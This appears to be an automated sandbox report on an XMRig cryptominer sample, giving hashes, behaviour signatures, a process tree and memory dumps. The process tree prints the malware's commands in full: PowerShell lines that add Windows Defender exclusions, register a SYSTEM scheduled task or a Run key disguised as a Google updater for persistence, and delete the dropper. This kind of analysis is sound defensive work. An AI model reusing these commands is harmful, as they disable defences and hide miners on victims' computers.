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Analysis

  • max time kernel
    1800s
  • max time network
    1797s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24-10-2024 20:11

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2160
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2836
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2644
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (20).exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2660
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1496
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2612
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2724
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1296
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2856
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:2524
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3008
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {6EC2F2C7-FE96-4C3C-B8CB-5B514C9975DB} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1884
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:876

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KZVIU2D89SXFCYV2PK94.temp

          Filesize

          7KB

          MD5

          35eb4fad845f636094daf10969c7a094

          SHA1

          cd64b6b9ce91b989507674423f99eead1eba9ed9

          SHA256

          f8168f09f4477594e719c16eada83f108ef30b1302c53f983efaead83e95e0e5

          SHA512

          6aade10a4f5f26960fea5cad31cce928dde74b109acc79c994d5bb322ebc52c3860b780589a54b9e1f50b6e7011ddd396bde77102bd48500d925da20bf7d4bef

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/876-39-0x000000013F330000-0x000000013F541000-memory.dmp

          Filesize

          2.1MB

        • memory/876-31-0x000000013F330000-0x000000013F541000-memory.dmp

          Filesize

          2.1MB

        • memory/2160-0-0x000000013FFA0000-0x00000001401B1000-memory.dmp

          Filesize

          2.1MB

        • memory/2160-21-0x000000013FFA0000-0x00000001401B1000-memory.dmp

          Filesize

          2.1MB

        • memory/2480-8-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2480-11-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2480-10-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2480-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

          Filesize

          9.6MB

        • memory/2480-6-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

          Filesize

          2.9MB

        • memory/2480-7-0x0000000001F30000-0x0000000001F38000-memory.dmp

          Filesize

          32KB

        • memory/2480-5-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

          Filesize

          4KB

        • memory/2724-41-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/2724-46-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/2836-19-0x00000000029F0000-0x0000000002A70000-memory.dmp

          Filesize

          512KB

        • memory/2836-18-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

          Filesize

          32KB

        • memory/2836-17-0x000000001B410000-0x000000001B6F2000-memory.dmp

          Filesize

          2.9MB

        • memory/3008-49-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-67-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-43-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-45-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-47-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-40-0x00000000000B0000-0x00000000000D0000-memory.dmp

          Filesize

          128KB

        • memory/3008-38-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-51-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-53-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-55-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-57-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-59-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-61-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-63-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-65-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-42-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-69-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-71-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-73-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-75-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-77-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-79-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-81-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-83-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-85-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-87-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-89-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-91-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-93-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-95-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-97-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/3008-99-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB